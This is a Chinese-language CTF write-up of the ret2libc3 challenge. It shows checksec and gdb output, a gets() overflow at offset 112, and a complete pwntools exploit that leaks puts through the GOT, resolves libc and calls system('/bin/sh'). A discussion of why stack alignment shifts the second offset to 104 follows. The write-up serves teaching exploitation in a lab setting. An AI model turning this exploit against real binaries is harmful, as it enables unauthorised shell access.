1:checksec
hunter@hunter:~/PWN/level3$ checksec ret2libc3
[*] '/home/hunter/PWN/level3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只有NX开启
2:IDA 检查发现没有system和binsh字符串
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
显然此处gets存在溢出
3:gdb调试测其溢出点
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fb25c0 --> 0xfbad2288
EDX: 0xf7fb389c --> 0x0
ESI: 0xf7fb2000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd04c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x8048695 (<main+125>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804868a <main+114>: call 0x8048440 <gets@plt>
0x804868f <main+119>: mov eax,0x0
0x8048694 <main+124>: leave
=> 0x8048695 <main+125>: ret
0x8048696: xchg ax,ax
0x8048698: xchg ax,ax
0x804869a: xchg ax,ax
0x804869c: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd04c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd050 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd054 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd058 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd05c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd060 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd064 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd068 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048695 30 in ret2libcGOT.c
gdb-peda$ pattern offset AA8AANA
AA8AANA found at offset: 112
gdb-peda$
溢出点为112
思路:
存在栈溢出,可利用函数为puts gets。我们构造一个puts函数让其输出puts函数的got表地址上的内容–即真正的地址,利用栈溢出控制程序转跳来实现。得到puts函数的确切地址后找到该函数在libc文件中的offset即求出libc地址,有了libc地址啥都好说。将上面构造的puts函数返回地址设置为main函数就可再次进行程序控制,不过这次控制它打开shell。
exp:libc的地址也可以用__libc_start_main_got来获得
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF("ret2libc3")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#__libc_start_main_got = elf.got['__libc_start_main']
main_addr = elf.symbols['main']
sh = process("./ret2libc3")
#payload1 = "A"*112 + p32(puts_plt) + p32(main_addr) + p32(__libc_start_main_got)
payload1 = "A"*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
sh.recv()
gdb.attach(sh)
sh.sendline(payload1)
puts_addr = u32(sh.recv(4))
libc = LibcSearcher("puts",puts_addr)
libc_addr = puts_addr - libc.dump("puts")
system_addr = libc_addr + libc.dump("system")
binsh_addr = libc_addr + libc.dump("str_bin_sh")
payload2 = "A"*112 + p32(system_addr) + p32(0) + p32(binsh_addr)
sh.sendline(payload2)
sh.interactive()
在语法上是没有啥问题的,但是很可惜是错的。原因:第二次用gets进行溢出时溢出点发生了变化
4:探究
我们来看看main函数的反汇编:
08048618 <main>:
8048618: 55 push ebp
8048619: 89 e5 mov ebp,esp
804861b: 83 e4 f0 and esp,0xfffffff0
804861e: 83 c4 80 add esp,0xffffff80
8048621: a1 60 a0 04 08 mov eax,ds:0x804a060
8048626: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
804862d: 00
804862e: c7 44 24 08 02 00 00 mov DWORD PTR [esp+0x8],0x2
8048635: 00
8048636: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
804863d: 00
804863e: 89 04 24 mov DWORD PTR [esp],eax
8048641: e8 5a fe ff ff call 80484a0 <setvbuf@plt>
8048646: a1 40 a0 04 08 mov eax,ds:0x804a040
804864b: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
8048652: 00
8048653: c7 44 24 08 01 00 00 mov DWORD PTR [esp+0x8],0x1
804865a: 00
804865b: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
8048662: 00
8048663: 89 04 24 mov DWORD PTR [esp],eax
8048666: e8 35 fe ff ff call 80484a0 <setvbuf@plt>
804866b: c7 04 24 40 87 04 08 mov DWORD PTR [esp],0x8048740
8048672: e8 e9 fd ff ff call 8048460 <puts@plt>
8048677: c7 04 24 6b 87 04 08 mov DWORD PTR [esp],0x804876b
804867e: e8 ad fd ff ff call 8048430 <printf@plt>
8048683: 8d 44 24 1c lea eax,[esp+0x1c]
8048687: 89 04 24 mov DWORD PTR [esp],eax
804868a: e8 b1 fd ff ff call 8048440 <gets@plt>
804868f: b8 00 00 00 00 mov eax,0x0
8048694: c9 leave
8048695: c3 ret
第一第二行是常规操作。
第四第五行:被称为栈对齐
804861b: 83 e4 f0 and esp,0xfffffff0 //esp最后一个字节清零
804861e: 83 c4 80 add esp,0xffffff80 //esp倒数第二个字节如果大于等于8则变为8,小于则清零,倒数第一个字节也清零
栈对齐有关资料:64位
许多计算机系统对基本数据类型的合法地址做了一些限制,要求某种类型对象的地址必须是某个值K的倍数,其中K具体如下图。这种对齐限制简化了形成处理器和内存系统之间接口的硬件设计。举个实际的例子:比如我们在内存中读取一个8字节长度的变量,那么这个变量所在的地址必须是8的倍数。如果这个变量所在的地址是8的倍数,那么就可以通过一次内存操作完成该变量的读取。倘若这个变量所在的地址并不是8的倍数,那么可能就需要执行两次内存读取,因为该变量被放在两个8字节的内存块中了。
无论数据是否对齐,x86_64硬件都能正常工作,但是却会降低系统的性能,所以我们的编译器在编译时一般会为我们实施数据对齐。
栈的字节对齐,实际是指栈顶指针必须须是16字节的整数倍。栈对齐帮助在尽可能少的内存访问周期内读取数据,不对齐堆栈指针可能导致严重的性能下降。
上文我们说,即使数据没有对齐,我们的程序也是可以执行的,只是效率有点低而已,但是某些型号的Intel和AMD处理器对于有些实现多媒体操作的SSE指令,如果数据没有对齐的话,就无法正确执行。这些指令对16字节内存进行操作,在SSE单元和内存之间传送数据的指令要求内存地址必须是16的倍数。因此,任何针对x86_64处理器的编译器和运行时系统都必须保证分配用来保存可能会被SSE寄存器读或写的数据结构的内存,都必须是16字节对齐的,这就形成了一种标准:
任何内存分配函数(alloca, malloc, calloc或realloc)生成的块起始地址都必须是16的倍数。
大多数函数的栈帧的边界都必须是16直接的倍数。
在运行时栈中,不仅传递的参数和局部变量要满足字节对齐,我们的栈指针(%rsp)也必须是16的倍数。
详情见:https://www.cnblogs.com/tcctw/p/11333743.html
总结:为了满足数据对齐和栈字节对齐的要求,或者说规范,编译器不惜牺牲了部分内存,这使得程序提高了兼容性,也提高了程序的性能
在常规操作push ebp 和mov ebp,esp后面免不了这种调整栈空间的指令 这样的指令对第一次求溢出是没有影响的,因为只要看最后的ret部分。但是如果进行第二次攻击再次从main函数进入将再次执行这样的影响 esp的指令 我们再次使用之前的溢出点就可能会出错。就像这里的栈对齐操作,显然这个操作与esp本身的大小有关。在程序最后直接ret到main函数会导致esp加4从而下次的栈对齐操作因为esp变化了所以栈空间也会发生变化。导致变化完了后esp到ebp的距离不再是114. 解决方法就是在脚本中用gdb.attach()进入调试在即将进行第二次之前在main函数下断点,从而观察,调整溢出点。
下面我直接跳到ret处了,从这里的esp也很容易看出前面8个A是多余的所以得出第二次溢出点位104
EBX: 0x0
ECX: 0xf7f9b5c0 --> 0xfbad2288
EDX: 0xf7f9c89c --> 0x0
ESI: 0xf7f9b000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffbedef4 ("AAAAAAAA\020-\340", <incomplete sequence \367>)
EIP: 0x8048695 (<main+125>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804868a <main+114>: call 0x8048440 <gets@plt>
0x804868f <main+119>: mov eax,0x0
0x8048694 <main+124>: leave
=> 0x8048695 <main+125>: ret
0x8048696: xchg ax,ax
0x8048698: xchg ax,ax
0x804869a: xchg ax,ax
0x804869c: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffbedef4 ("AAAAAAAA\020-\340", <incomplete sequence \367>)
0004| 0xffbedef8 ("AAAA\020-\340", <incomplete sequence \367>)
0008| 0xffbedefc --> 0xf7e02d10 (<system>: sub esp,0xc)
0012| 0xffbedf00 --> 0x0
0016| 0xffbedf04 --> 0xf7f418cf ("/bin/sh")
0020| 0xffbedf08 --> 0xf7f9b000 --> 0x1d4d6c
0024| 0xffbedf0c --> 0xf7fce75a (add edi,0x178a6)
0028| 0xffbedf10 --> 0xf7fe6000 --> 0x26f34
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
最终结果:
[*] Switching to interactive mode
v\x84\x04\x86\x84\x04\x90m���Z��\xb6\x84\x04Ƅ\x04
No surprise anymore, system disappeard QQ.
Can you find it !?$ ls